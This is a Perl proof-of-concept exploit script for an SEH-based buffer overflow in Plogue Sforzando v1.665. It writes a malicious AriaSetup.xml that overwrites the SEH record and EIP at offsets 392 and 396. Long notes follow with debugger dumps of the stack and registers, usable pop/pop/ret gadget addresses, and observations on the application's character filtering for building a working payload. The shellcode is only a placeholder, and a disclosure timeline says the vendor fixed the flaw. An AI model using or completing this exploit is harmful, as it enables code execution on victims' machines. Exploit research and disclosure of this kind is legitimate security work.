#!/usr/bin/perl
 
##########################################################################################
# Exploit Title: Plogue Sforzando v1.665 Buffer Overflow POC
# Date Discovered: 10-29-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: Sforzando v1.665
# Software Link: https://www.softpedia.com/dyn-postdownload.php?p=227357&t=0&i=1
# Vendor site: https://www.plogue.com/downloads/
# Version: 1.665
# Tested On: Windows XP SP3
##########################################################################################
# Timeline
# - 10-29: Vuln discovered, vendor contacted
# - 10-30: Vendor acknowleged receipt of bug report
# - 10-31: Vendor applied fix to software installers
##########################################################################################
# At first glance this seems to be a straightforward SEH BOF however it's not the case
# largely due to the way the application treats non-ASCII input (see notes after POC code)
# Refer to the notes at the end of POC code for more details
##########################################################################################
 
 
# The application loads the AriaSetup.xml file at launch and reads the product value
# By changing these values we can generate a BOF as follows
 
my $buffsize = 15000; # sets buffer size for consistent sized payload
 
# build the start of the xml file
my $header = '<?xml version="1.0" ?><Key>key</Key><AriaSetup version="1665">';
$header = $header . '<Property name="vendor" value="Plogue Art et Technologie, Inc"/>';
$header = $header . '<Property name="product" value="';
 
my $junk = "\x41" x 392; # 392 is the offset of next seh followed by 4920 bytes of controllable data
my $nseh = "\x42\x42\x42\x42"; # overwrite next seh
my $seh  = "\x43\x43\x43\x43"; # overwrite seh (and EIP, offset 396)
my $shell = "\x45" x 5000; # placeholder for shell code; also accessible via ESP+2500 (length 4916)
 
my $sploit = $junk.$nseh.$seh.$nops.$shell; # assemble exploit portion of buffer
my $fill = "\x46" x ($buffsize - (length($header)+length($sploit))); # fill remainder of buffer
my $buffer = $header.$sploit.$fill; # construct the final buffer
 
# write the exploit buffer to file
my $file = "AriaSetup.xml";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($buffer) . "\n";
 
 
#############################################
#------------------- NOTES------------------#
#############################################
 
# after the above POC, seh chain looks like this:
 
# Address    SE handler
# 0012E31C   ntdll.7C9032BC
# 0012ECC4   43434343
# 42424242   *** CORRUPT ENTRY ***
 
# And the stack...
#     ...
# 0012ECB0   41414141  AAAA
# 0012ECB4   41414141  AAAA
# 0012ECB8   41414141  AAAA
# 0012ECBC   41414141  AAAA
# 0012ECC0   41414141  AAAA
# 0012ECC4   42424242  BBBB  Pointer to next SEH record
# 0012ECC8   43434343  CCCC  SE handler
# 0012ECCC   44444444  DDDD
# 0012ECD0   44444444  DDDD
# 0012ECD4   44444444  DDDD
# 0012ECE0   44444444  DDDD
# 0012ECE4   44444444  DDDD
#     ...
 
# And the registers...
 
# EAX 00000000
# ECX 43434343
# EDX 7C9032BC ntdll.7C9032BC
# EBX 00000000
# ESP 0012E308
# EBP 0012E328
# ESI 00000000
# EDI 00000000
# EIP 43434343
 
# So, next SEH is overwritten at offset 392, SEH (and EIP) at 396
# and there is plenty of room directly following for shellcode
 
# The problem that we have for an SEH BOF are the available pop/pop/ret and the input sanitization performed by the application
# Here are the 14 available pop/pop/ret found by mona (using -all switch)
 
# 0x72d11f39 : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d1170b : pop esi pop ebx ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d1204e : pop esi pop ebx ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d115b8 : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d1263d : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d1269c : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x00280b0b : call dword ptr ss:[ebp+30] | startnull,ascii {PAGE_READONLY}
# 0x72d119de : pop esi pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d11225 : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d1283f : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d12899 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d128f3 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d12956 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d12ebe : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
# 0x72d12f35 : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv)
 
# The application only accepts certain characters as input, limited primarily to the ASCII character set, with some exceptions:
#
# All ASCII characters \x0a through \x7f appear to be accepted as-is except as follows:
# - \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x26 -- these are stripped entirely
# - \x22 appears to be processed as a double quote and terminates the remainder of the xml string input
# - \x0a is replaced with \x0d
 
# Anything outside of the ASCII range appears to be stripped (or sometimes replaced)
# This poses a problem when trying to find a usable address for our overwrites
 
# For example, given the pop/pop/ret addresses found, we would need to include \xd1
 
# If we try to overwrite SEH with the the address 0x72d11225 (\x25\x12\xd1\x72) we get this:
 
# 0012ECBC   41414141  AAAA
# 0012ECC0   41414141  AAAA
# 0012ECC4   42424242  BBBB  Pointer to next SEH record
# 0012ECC8   44721225  %%%D  SE handler
# 0012ECCC   44444444  DDDD
# 0012ECD0   44444444  DDDD
 
# Notice how \xd1 is stripped (and our trailing input shifted). 
# Through a bit of basic trial and error I noticed that you can
# force the application to retain input chars by appending other chars to it.
# For example to maintain \xd1 we can append \xa9 to it
 
# An SEH overwrite of \x25\x12\xd1\xa9\x72 would result in:
 
# 0012ECBC   41414141  AAAA
# 0012ECC0   41414141  AAAA
# 0012ECC4   42424242  BBBB  Pointer to next SEH record
# 0012ECC8   A9D11225  %%%%  SE handler
# 0012ECCC   44444472  rDDD
# 0012ECD0   44444444  DDDD
 
# This time \xd1 is maintained but unfortunately, the app also maintains the appended \xa9 byte
# which makes this approach innefective for addressing (but possibly useful for shellcode)
 
# I didn't have the time to investigate this any further but I figured I'd post this POC
# in case someone else wants to give it a go